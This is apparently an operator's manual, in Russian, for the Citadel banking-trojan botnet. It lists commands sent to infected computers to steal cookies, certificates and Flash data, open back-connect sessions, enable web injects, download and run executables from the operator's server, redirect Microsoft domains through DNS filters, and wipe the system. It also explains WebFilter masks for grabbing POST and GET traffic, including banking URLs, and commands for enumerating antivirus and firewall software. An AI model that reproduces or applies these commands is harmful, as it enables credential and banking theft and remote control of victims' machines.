
Работы с OC. 

os_shutdown - Выключить компьютер 
os_reboot - Перегрузить компьютер 

Работа с ботом. 

bot_uninstall - Выгрузить бота с компьютера 
bot_update [url] - Обновить конфигурацию бота 

bot_bc_add [service] [ip] [port] - Создать бек-коннект соединение с ботом 
bot_bc_remove [service] [ip] [port] - Удалить бек-коннект соеднение с 
ботом 

bot_httpinject_disable [url_mask] - Отключить выполнение инжекта у бота 
bot_httpinject_enable [url_mask] - Включить выполнение инжекта у бота 

Работа с пользователем. 

user_destroy - Убить ОСь бота 
user_logoff - Завершить сеанс пользователя бота 
user_execute [url] - Запустить исполняемый файл на компьютере бота 

user_cookies_get - Получить куки с компьютера бота 
user_cookies_remove - Удалить куки с компьютера бота 

user_certs_get - Получить сертификаты с компьютера бота 
user_certs_remove - Удалить сертификаты с компьютера бота 

user_homepage_set [url] - Задать URL как домашнюю страницу боту 

user_flashplayer_get - Получить SOL файлы с компьютера бота 
user_flashplayer_remove - Удалить SOL файлы с компьютера бота 

dns_filter_add <host> <ip> - добавление маски для редиректа 
dns_filter_add *microsoft.com 127.0.0.1  - добавление маски для редиректа 
dns_filter_remove *microsoft.com - удаление маски для редиректа 
dns_filter_remove <host>
при удалении должен быть указан такой же хост как и при добавлении 

url_open http://www.host.com

 Открываем на компьютере холдера произвольную заданную страницу 
дефлотовым браузером на полный экран, идеально для рекламы чего-либо 

user_execute http://www.citadel-
host.com/citadel_folder/file.php|file=exe.exe

 Команда работает без кавычек, начиная с версии 1.2.4.0, для выполнения 
нужно залить нужный ехе файл в директорию files на вашей цитадели и 
указать его в конце строчки. 

1



- У нас добавилась новая опция в секции entry "StaticConfig" 
disable_cookies 0

  1 выключает отсылку cookies на сервер вообще. 
  0 включает отсылку cookies на сервер. 

- Теперь по поводу cекции WebFilters 
Два новых параметра: P и G. 
Параметр P указанным перед ссылкой, указывает о записи только POST 
запросов(все другие игнорируются) с этой ссылки. 
Параметр G указывает о записи только GET запросов (все другие 
игнорируются) с заданной ссылки. 
Параметр ! игнорирует заданные запросы по маске и не пропускает их в 
логи. 

Examples:
"Phttp://*.com/" - грабит только все пост-запросы в http://. https:// 
игнорирует 
"Ghttp://*.eu/*banking*" - грабит только все GET запросы по заданной 
маске. 
"Phttps://*.com/" - грабит только https://-post запросы 
"!http://*.com/*.jpg" - игнор jpg картинок. 

- Получение информации об установленном ПО (список - 
компания|продукт|версия) на компьютере: info_get_software 
- Получение информации об установленном антивирусе на компьютере: 
info_get_antivirus
- Получение информации об установленном фаерволе на компьютере: 
info_get_firewall
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